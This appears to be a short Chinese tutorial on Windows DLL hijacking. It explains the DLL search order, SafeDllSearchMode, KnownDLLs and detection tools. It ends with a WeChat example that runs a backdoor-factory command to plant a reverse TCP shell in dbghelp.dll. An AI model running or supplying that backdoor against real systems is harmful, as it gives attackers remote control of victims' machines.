Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中。由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。通常可以利用搜索顺序的特点,伪造同名的dll
搜索dll文件的路径顺序
在 windows XP SP2 之前
- 程序所在目录
- 当前目录
- 系统目录
- 16位系统目录
- windows目录
- path环境变量中的各个目录
在windows XP SP2 之后
windows 查找DLL和对应的顺序(SafeDllSearchMode默认被开启):
注册表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
其键值为1时,dll寻路顺序如下:
- 程序所在目录
- 系统目录 SYSTEM32目录
- 16位系统目录 SYSTEM目录
- windows目录
- 当前目录
- path环境变量中的各个目录
之后的系统版本SafeDllSearchMode
取消了,采用KnowDlls
在该项下的dll跳过正在寻找路径顺序,从其系统目录调用,HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
win 10
win server 2003
win server 2012
win xp
漏洞检测
1、使用process Explorer
检查应用程序主要调用的dll
2、使用dll劫持神器
3、使用rattler dll 检查工具
微信 dll劫持
根据劫持的原理,选择程序路径下dll文件就行,这里使用dbghelp.dll
,将dbghelp.dll
复制到攻击机中backdoor-factory
中。使用命令python backdoor -f dgbhelp.dll -s reverse_shell_tcp_inline -P <端口> -H <url>
反弹shell成功